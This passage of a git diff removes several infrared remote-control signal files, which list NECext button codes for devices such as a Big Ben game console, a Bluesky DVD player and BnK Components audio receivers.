00 -command: 07 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 08 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 10 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 11 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 14 00 00 00 -# -name: BRIGHT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 16 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 1B 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 41 00 00 00 -# -name: KEY_SUSPEND -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 4E 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 4E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 4F 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 4F 00 00 00 -# -name: COMP -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 51 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 52 00 00 00 -# -name: HDMI-1 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 58 00 00 00 -# -name: HDMI-2 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 59 00 00 00 -# -name: FINE_TUNE -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 5D 00 00 00 -# -name: COLOR_TEMP -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 5F 00 00 00 -# -name: USER1 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 75 00 00 00 -# -name: USER2 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 76 00 00 00 -# -name: USER3 -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 77 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 79 00 00 00 -# -name: TINT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 7A 00 00 00 -# -name: SHARP -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 7E 00 00 00 -# -name: WIRELESS -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 86 00 00 00 -# -name: 3D -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 8D 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 94 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 99 00 00 00 -# -name: INVERT -type: parsed -protocol: NECext -address: 00 30 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir deleted file mode 100644 index c6e9921f2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MASTERVOL- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 01 00 00 00 -# -name: MASTERVOL+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 02 00 00 00 -# -name: BALANCE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 04 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 05 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 06 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0D 00 00 00 -# -name: Q-SOUND -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 11 00 00 00 -# -name: X_KEY_1EXT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 13 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 17 00 00 00 -# -name: CENTER- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 18 00 00 00 -# -name: SURR+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1C 00 00 00 -# -name: SW+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1D 00 00 00 -# -name: CENTER+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1E 00 00 00 -# -name: SW- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 45 00 00 00 -# -name: TRE+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 48 00 00 00 -# -name: TRE- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 49 00 00 00 -# -name: SURR- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4C 00 00 00 -# -name: BASS+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4F 00 00 00 -# -name: STEREO/3STEREO -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 55 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 56 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 5E 00 00 00 -# -name: BASS- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir deleted file mode 100644 index 7535cabed..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 00 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 01 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 02 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 03 00 00 00 -# -name: DISPLAY_INFO/_SELECT -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 04 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 05 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 06 00 00 00 -# -name: QUICK_MENU_-TRIANGLE -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 07 00 00 00 -# -name: QUIT_-CIRCLE -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 08 00 00 00 -# -name: MENU_DVD_-SQUARE -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 09 00 00 00 -# -name: OK_-CROSS -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 0A 00 00 00 -# -name: L1_-SLIP_< -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 0B 00 00 00 -# -name: L2_-REW -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 0C 00 00 00 -# -name: R1_-SKIP_> -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 0D 00 00 00 -# -name: R2_-FFW -type: parsed -protocol: NECext -address: 43 A4 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir deleted file mode 100644 index 319dbee5a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: KEY_DIRECTORY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: KEY_CAMERA -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir deleted file mode 100644 index 85fe4f52d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir deleted file mode 100644 index f8f9d1ad2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir +++ /dev/null @@ -1,518 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 03 00 00 00 -# -name: BK002_MUTE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 03 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 05 00 00 00 -# -name: BK002_V1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 05 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 06 00 00 00 -# -name: BK002_TV -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 06 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 09 00 00 00 -# -name: BK002_V2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 09 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0B 00 00 00 -# -name: BK002_TAPE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0B 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0D 00 00 00 -# -name: BK002_DVD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0D 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0E 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0F 00 00 00 -# -name: BK002_CD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0F 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 13 00 00 00 -# -name: TUNE- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1B 00 00 00 -# -name: BK002_TUNE- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1B 00 00 00 -# -name: TUNE+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1C 00 00 00 -# -name: BK002_TUNE+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1C 00 00 00 -# -name: CR_LEFT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1F 00 00 00 -# -name: BK002_LEFT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1F 00 00 00 -# -name: CR_RIGHT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 20 00 00 00 -# -name: BK002_RIGHT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 23 00 00 00 -# -name: BK002_VOLUME- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 24 00 00 00 -# -name: BK002_VOLUME+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 24 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 26 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 29 00 00 00 -# -name: BK002_NUMBER_+10 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 29 00 00 00 -# -name: CR_DOWN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2D 00 00 00 -# -name: BK002_DOWN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2D 00 00 00 -# -name: CR_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2E 00 00 00 -# -name: BK002_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2F 00 00 00 -# -name: BK002_MENU -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: BK002_ENTER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 31 00 00 00 -# -name: BK002_NUMBER_1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 32 00 00 00 -# -name: BK002_NUMBER_2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 33 00 00 00 -# -name: BK002_NUMBER_3 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 35 00 00 00 -# -name: BK002_NUMBER_4 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 36 00 00 00 -# -name: BK002_NUMBER_5 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 37 00 00 00 -# -name: BK002_NUMBER_6 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 39 00 00 00 -# -name: BK002_NUMBER_7 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3A 00 00 00 -# -name: BK002_NUMBER_8 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3B 00 00 00 -# -name: BK002_NUMBER_9 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3E 00 00 00 -# -name: BK002_NUMBER_0 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3E 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 40 00 00 00 -# -name: BK002_SAVE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 40 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4B 00 00 00 -# -name: BASS- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 65 00 00 00 -# -name: BK002_BASS- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 65 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 76 00 00 00 -# -name: BK002_AM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 76 00 00 00 -# -name: TREBLE- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 79 00 00 00 -# -name: BK002_TREBLE- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 79 00 00 00 -# -name: BK002_EXIT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: BK002_FM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: A2 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: C6 00 00 00 -# -name: A_KEY -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CF 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CF 00 00 00 -# -name: BK002_LOUDNESS -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CF 00 00 00 -# -name: BASS+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: E5 00 00 00 -# -name: BK002_BASS+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: E5 00 00 00 -# -name: ST/MONO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: EB 00 00 00 -# -name: BK002_STEREO/MONO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: EB 00 00 00 -# -name: TREBLE+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: F9 00 00 00 -# -name: BK002_TREBLE+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir deleted file mode 100644 index 11b91f9eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 18 00 00 00 -# -name: TUN_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1B 00 00 00 -# -name: TUN_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1C 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1F 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 29 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2D 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: SEL/ENTER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4B 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 5A 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 65 00 00 00 -# -name: SOURCE_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 76 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: A2 00 00 00 -# -name: SOURCE_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: A6 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: C6 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: CF 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: E5 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: EB 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: F9 00 00 00 -# -name: V+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir deleted file mode 100644 index 8c08a68f6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 1F 00 00 00 -# -name: 